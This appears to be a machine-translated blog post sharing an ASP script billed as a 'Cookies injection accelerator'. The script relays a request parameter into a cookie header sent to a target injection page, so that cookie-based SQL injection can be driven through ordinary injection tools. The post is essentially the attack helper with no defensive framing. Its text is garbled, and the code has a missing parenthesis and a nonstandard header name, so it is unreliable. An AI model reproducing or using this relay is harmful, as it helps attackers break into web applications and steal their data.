ASP version implementation of Cookies injection accelerator tools _ Application Skills

Source: Professional owes money &zj1244 public Blog

Copy Code code as follows:

<%
Str= "xxxid=" &escape (Request ("FK")
Url= "Http://xxx.chinaxxx.com/injection.asp"
Response.Write PostData (URL,STR)

Function PostData (Posturl,postcok)
Dim Http
Set Http = Server.CreateObject ("Msxml2.serverxmlhttp")
With Http

. Open "Get", Posturl,false
. setRequestHeader "Cookies", Postcok
. Send
PostData =. Responsebody
End With
Set Http = Nothing
PostData =bytes2bstr (postdata)
End Function

Function Bytes2bstr (vIn)
Dim Strreturn
Dim I, Thischarcode, Nextcharcode
Strreturn = ""
For I = 1 to LenB (vIn)
Thischarcode = AscB (MidB (VIn, I, 1))
If Thischarcode < &h80 Then
Strreturn = Strreturn & Chr (Thischarcode)
Else
Nextcharcode = AscB (MidB (vIn, I + 1, 1))
Strreturn = Strreturn & Chr (CLng (thischarcode) * &h100 + CInt (nextcharcode))
i = i + 1
End If
Next
Bytes2bstr = Strreturn
End Function

%>